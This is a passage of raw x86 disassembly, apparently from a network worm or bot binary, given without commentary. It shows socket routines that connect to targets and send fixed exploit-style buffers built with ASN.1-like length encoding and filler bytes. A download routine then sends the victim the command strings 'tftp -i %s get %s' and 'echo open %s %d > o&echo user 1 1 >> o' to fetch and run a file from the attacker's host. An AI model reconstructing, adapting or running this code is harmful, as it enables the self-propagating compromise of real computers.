push eax call sub_4172AE add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax nop call near ptr 2640000h cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_402E5C loc_402E4D: ; CODE XREF: sub_402DD7+126j lea eax, [ebp+arg_4] push eax call sub_402ACC pop ecx jmp loc_403055 ; --------------------------------------------------------------------------- loc_402E5C: ; CODE XREF: sub_402DD7+74j lea eax, [ebp+arg_4] push 2 push eax call sub_40D4C5 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_402EF4 mov edi, 186A0h push edi call sub_417B89 mov esi, eax push edi push ebx push esi call sub_417330 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_427648 push [ebp+var_4] nop call near ptr 2630807h cmp byte ptr [esi+2], 0Ch jnz short loc_402EE4 lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call near ptr 2630000h nop test eax, eax jnz short loc_402F02 loc_402EE4: ; CODE XREF: sub_402DD7+F3j push esi call sub_417C3B push [ebp+var_8] call sub_417C3B pop ecx pop ecx loc_402EF4: ; CODE XREF: sub_402DD7+B9j push [ebp+var_4] nop call near ptr 2621906h jmp loc_402E4D ; --------------------------------------------------------------------------- loc_402F02: ; CODE XREF: sub_402DD7+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] nop call near ptr 2621026h push [ebp+var_8] mov edi, eax call sub_417C3B push esi call sub_417C3B pop ecx pop ecx push [ebp+var_4] nop call near ptr 2621906h lea eax, [ebp+arg_4] push eax call sub_402ACC cmp edi, 1 pop ecx jnz loc_403066 jmp loc_403055 ; --------------------------------------------------------------------------- loc_402F45: ; CODE XREF: sub_402DD7+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_40D4C5 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403055 xor ebx, ebx push ebx push 1 push 2 call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403055 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43F668 mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43F6A8 mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B84 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_402FD7 push [ebp+var_4] jmp short loc_40304F ; --------------------------------------------------------------------------- loc_402FD7: ; CODE XREF: sub_402DD7+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_402FEF loc_402FEC: ; CODE XREF: sub_402DD7+22Aj push esi jmp short loc_403048 ; --------------------------------------------------------------------------- loc_402FEF: ; CODE XREF: sub_402DD7+213j push ebx push 48h push offset dword_427648 push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_402FEC mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43F680 push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_403030 push [ebp+var_8] jmp short loc_403048 ; --------------------------------------------------------------------------- loc_403030: ; CODE XREF: sub_402DD7+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43F680 push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_403059 loc_403048: ; CODE XREF: sub_402DD7+216j ; sub_402DD7+257j call sub_417C3B pop ecx push edi loc_40304F: ; CODE XREF: sub_402DD7+1FEj call dword_43F700 loc_403055: ; CODE XREF: sub_402DD7+31j ; sub_402DD7+80j ... xor eax, eax jmp short loc_4030C7 ; --------------------------------------------------------------------------- loc_403059: ; CODE XREF: sub_402DD7+26Fj call sub_417C3B pop ecx push edi call dword_43F700 loc_403066: ; CODE XREF: sub_402DD7+163j lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_338] push offset unk_427B78 push eax call sub_4172AE add esp, 0Ch loc_40307E: ; CODE XREF: sub_402DD7+2C7j lea eax, [ebp+var_338] push eax call sub_40C04D test eax, eax pop ecx jnz short loc_4030A2 push 1388h call near ptr 26004EDh nop inc ebx cmp ebx, 6 jl short loc_40307E jmp short loc_4030C4 ; --------------------------------------------------------------------------- loc_4030A2: ; CODE XREF: sub_402DD7+2B6j lea eax, [ebp+var_338] push eax call sub_40BF6D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_4030C4: ; CODE XREF: sub_402DD7+2C9j push 1 pop eax loc_4030C7: ; CODE XREF: sub_402DD7+280j pop edi pop esi pop ebx leave retn sub_402DD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030CC proc near ; DATA XREF: ___:00426004o jmp $+5 sub_4030CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4030D1 proc near push 0BB80h push 76Ch call sub_41544E pop ecx mov dword_43C810, eax pop ecx retn sub_4030D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030E8 proc near ; CODE XREF: sub_403249+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43F6A8 mov [ebp+var_C], eax mov ax, word ptr dword_43C810 push eax call dword_43F668 push esi push 1 push 2 mov [ebp+var_E], ax call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403222 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_403222 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43F680 mov esi, offset byte_42F678 push esi push esi push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 18h push esi push esi push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403222 push 1F4h call near ptr 26004EDh nop push esi push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_403226 loc_403222: ; CODE XREF: sub_4030E8+51j ; sub_4030E8+67j ... xor al, al jmp short loc_403244 ; --------------------------------------------------------------------------- loc_403226: ; CODE XREF: sub_4030E8+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43F680 push ebx call dword_43F700 mov al, 1 loc_403244: ; CODE XREF: sub_4030E8+13Cj pop edi pop esi pop ebx leave retn sub_4030E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403249 proc near ; CODE XREF: ___:004037ADp ; ___:004037CFp var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_417B30 mov eax, dword_428634 push ebx mov [ebp+var_10], eax mov eax, dword_428638 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_428628 push eax call sub_4172AE add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_403288: ; CODE XREF: sub_403249+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_403288 push 60h lea eax, [ebp+var_B4] push offset dword_4280B8 push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_417390 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC+3) push eax call sub_417AB0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_417390 lea eax, [ebp+var_3C] push eax call sub_417AB0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_417390 mov ax, word ptr dword_43C810 add esp, 2Ch push eax call dword_43F668 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_427DB8 call sub_417390 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403445 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_417330 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4284E0[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_417390 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_417390 push 4 lea eax, [ebp+var_11AC] push offset loc_428620 push eax call sub_417390 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_417390 add esp, 40h push esi call sub_417AB0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_417390 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_4033FE: ; CODE XREF: sub_403249+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_4033FE mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_417330 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_417330 add esp, 18h jmp short loc_40349C ; --------------------------------------------------------------------------- loc_403445: ; CODE XREF: sub_403249+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_417330 mov esi, offset loc_427D08 push esi call sub_417AB0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_417390 lea eax, [ebp+var_10] push eax call sub_417AB0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_417390 mov eax, dword_4284E0 add esp, 2Ch mov [ebp+var_768], eax loc_40349C: ; CODE XREF: sub_403249+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_417330 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_4034DB loc_4034D4: ; CODE XREF: sub_403249+2B9j ; sub_403249+2E0j ... xor al, al jmp loc_403683 ; --------------------------------------------------------------------------- loc_4034DB: ; CODE XREF: sub_403249+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 68h push offset dword_42811C push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 0A0h push offset dword_428188 push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 cmp [ebp+arg_C0], ebx jz loc_4035F1 push 68h lea eax, [ebp+var_89B4] push offset dword_428340 push eax call sub_417390 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_417390 push 70h lea eax, [ebp+var_68DC] push offset dword_4283AC push eax call sub_417390 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_417390 push 84h lea eax, [ebp+var_5DA8] push offset dword_428420 push eax call sub_417390 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43F680 push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403647 ; --------------------------------------------------------------------------- loc_4035F1: ; CODE XREF: sub_403249+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_42822C push eax call sub_417390 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_417390 push 90h lea eax, [ebp+var_245C] push offset off_4282AC push eax call sub_417390 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403647: ; CODE XREF: sub_403249+3A6j push eax push edi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz loc_4034D4 push 12Ch call near ptr 26004EDh nop sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4030E8 add esp, 0BCh test al, al setnz al loc_403683: ; CODE XREF: sub_403249+28Dj pop edi pop esi pop ebx leave retn sub_403249 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_41544E xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_417330 add esp, 14h lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_43F6A8 push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_43F668 push 6 push 1 push 2 mov [ebp-12h], ax call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403790 lea eax, [ebp-14h] push 10h push eax push ebx call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_403790 push edi push 89h push offset dword_427EA0 push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 push edi push 0A8h push offset dword_427F2C push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 push edi push 0DEh push offset dword_427FD8 push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_403790 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43F680 movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40379A dec eax jz short loc_403797 loc_403790: ; CODE XREF: ___:004036EBj ; ___:00403701j ... xor eax, eax jmp loc_403817 ; --------------------------------------------------------------------------- loc_403797: ; CODE XREF: ___:0040378Ej push edi jmp short loc_4037BE ; --------------------------------------------------------------------------- loc_40379A: ; CODE XREF: ___:0040378Bj push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jnz short loc_4037DE push 1 loc_4037BE: ; CODE XREF: ___:00403798j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403249 add esp, 0C4h test al, al jz short loc_4037E5 loc_4037DE: ; CODE XREF: ___:004037BAj mov dword ptr [ebp-4], 1 loc_4037E5: ; CODE XREF: ___:004037DCj push ebx call dword_43F700 cmp dword ptr [ebp-4], 0 jz short loc_403814 lea eax, [ebp-854h] push eax call sub_40BF6D mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_403814: ; CODE XREF: ___:004037F0j push 1 pop eax loc_403817: ; CODE XREF: ___:00403792j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40381C proc near ; CODE XREF: sub_403A90+Ep ; sub_403A90+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40381C endp ; =============== S U B R O U T I N E ======================================= sub_403826 proc near ; CODE XREF: sub_403A90+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_417B89 mov edi, eax pop ecx test edi, edi jz short loc_403858 push ebx push 0 push edi call sub_417330 push ebx push [esp+1Ch+arg_0] push edi call sub_417390 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403858: ; CODE XREF: sub_403826+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403860 proc near ; CODE XREF: sub_40395A+18p ; sub_4039D4+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_417B89 mov esi, eax pop ecx test esi, esi jz short loc_4038AC push edi push 0 push esi call sub_417330 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_417390 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_417390 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4038AC: ; CODE XREF: sub_403860+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403860 endp ; =============== S U B R O U T I N E ======================================= sub_4038B5 proc near ; CODE XREF: sub_40395A+5Ep ; sub_40395A+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4038C5 push eax call sub_417C3B pop ecx loc_4038C5: ; CODE XREF: sub_4038B5+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4038B5 endp ; =============== S U B R O U T I N E ======================================= sub_4038CE proc near ; CODE XREF: sub_40395A+20p ; sub_403A35+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4038FB xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_4038FF loc_4038FB: ; CODE XREF: sub_4038CE+Dj xor al, al jmp short loc_403956 ; --------------------------------------------------------------------------- loc_4038FF: ; CODE XREF: sub_4038CE+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_417330 add esp, 0Ch cmp ebx, 1 jnz short loc_403924 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40393E ; --------------------------------------------------------------------------- loc_403924: ; CODE XREF: sub_4038CE+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40393E: ; CODE XREF: sub_4038CE+54j push eax call sub_417390 add esp, 0Ch push dword ptr [esi] call sub_417C3B add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403956: ; CODE XREF: sub_4038CE+2Fj pop edi pop esi pop ebx retn sub_4038CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40395A proc near ; CODE XREF: sub_403A90+89p ; sub_403A90+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_43C824 call sub_403860 lea ecx, [ebp+var_8] call sub_4038CE mov eax, [ebp+var_4] inc eax push eax call sub_417B89 mov edi, eax pop ecx test edi, edi jnz short loc_403994 xor al, al jmp short loc_4039D0 ; --------------------------------------------------------------------------- loc_403994: ; CODE XREF: sub_40395A+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_417330 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_417390 add esp, 18h mov ecx, esi call sub_4038B5 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4038B5 mov al, 1 loc_4039D0: ; CODE XREF: sub_40395A+38j pop edi pop esi leave retn sub_40395A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039D4 proc near ; CODE XREF: sub_403A08+14p ; sub_403A25+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_4039D4 endp ; =============== S U B R O U T I N E ======================================= sub_403A08 proc near ; CODE XREF: sub_403A90+F0p ; sub_403A90+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_417AB0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_4039D4 pop esi retn 4 sub_403A08 endp ; =============== S U B R O U T I N E ======================================= sub_403A25 proc near ; CODE XREF: sub_403A71+Bp ; sub_403A90+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4039D4 retn 8 sub_403A25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A35 proc near ; CODE XREF: sub_403A71+16p ; sub_403A90+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_4038CE test al, al jz short loc_403A6E push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4289A7+1) call sub_403860 mov ecx, esi call sub_4038B5 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_403A6E: ; CODE XREF: sub_403A35+Fj pop esi leave retn sub_403A35 endp ; =============== S U B R O U T I N E ======================================= sub_403A71 proc near ; CODE XREF: sub_403A90+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_403A25 test al, al jz short loc_403A8C mov ecx, esi call sub_403A35 loc_403A8C: ; CODE XREF: sub_403A71+12j pop esi retn 8 sub_403A71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A90 proc near ; CODE XREF: ___:00404315p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40381C mov edi, 408h cmp [ebp+arg_8], edi jg loc_403DE4 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_403DE4 push esi lea ecx, [ebp+var_30] call sub_40381C lea ecx, [ebp+var_20] call sub_40381C lea ecx, [ebp+var_50] call sub_40381C lea ecx, [ebp+var_18] call sub_40381C lea ecx, [ebp+var_40] call sub_40381C lea ecx, [ebp+var_38] call sub_40381C lea ecx, [ebp+var_28] call sub_40381C push 4 push offset dword_428648 lea ecx, [ebp+var_30] call sub_4039D4 push 3 push offset dword_428650 lea ecx, [ebp+var_30] call sub_4039D4 lea ecx, [ebp+var_30] call sub_40395A lea ecx, [ebp+var_30] call sub_403A35 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_42863C call sub_4039D4 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_4039D4 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_4039D4 lea ecx, [ebp+var_20] call sub_40395A push offset loc_4289D0 lea ecx, [ebp+var_50] call sub_403A08 lea ecx, [ebp+var_50] call sub_40395A push esi lea eax, [ebp+var_858] push 44h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403826 lea ecx, [ebp+var_58] call sub_40395A push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_403A71 lea ecx, [ebp+var_58] call sub_4038B5 push esi lea eax, [ebp+var_858] push 43h push eax call sub_417330 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_403A08 push 4 push offset dword_428654 lea ecx, [ebp+var_18] call sub_4039D4 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_4039D4 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_4039D4 lea ecx, [ebp+var_18] call sub_40395A push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_403A25 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_403A25 lea ecx, [ebp+var_40] call sub_403A35 lea ecx, [ebp+var_18] call sub_4038B5 lea ecx, [ebp+var_50] call sub_4038B5 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_403A25 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_403A25 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_403A25 lea ecx, [ebp+var_38] call sub_403A35 lea ecx, [ebp+var_20] call sub_4038B5 lea ecx, [ebp+var_30] call sub_4038B5 lea ecx, [ebp+var_40] call sub_4038B5 push esi lea eax, [ebp+var_858] push 41h push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_4039D4 lea ecx, [ebp+var_28] call sub_40395A push 2 push offset dword_4289C4 lea ecx, [ebp+var_28] call sub_4039D4 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_403A25 lea ecx, [ebp+var_28] call sub_403A35 lea ecx, [ebp+var_38] call sub_4038B5 lea ecx, [ebp+var_10] call sub_40381C lea ecx, [ebp+var_8] call sub_40381C push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_28] call sub_4038B5 push offset dword_4289C0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289BC lea ecx, [ebp+var_10] call sub_403A08 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_403A25 lea ecx, [ebp+var_10] call sub_4038CE lea ecx, [ebp+var_8] call sub_4038B5 push offset dword_4289B0 lea ecx, [ebp+var_8] call sub_403A08 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_403A25 lea ecx, [ebp+var_8] call sub_4038CE lea ecx, [ebp+var_10] call sub_4038B5 push offset dword_4289AC lea ecx, 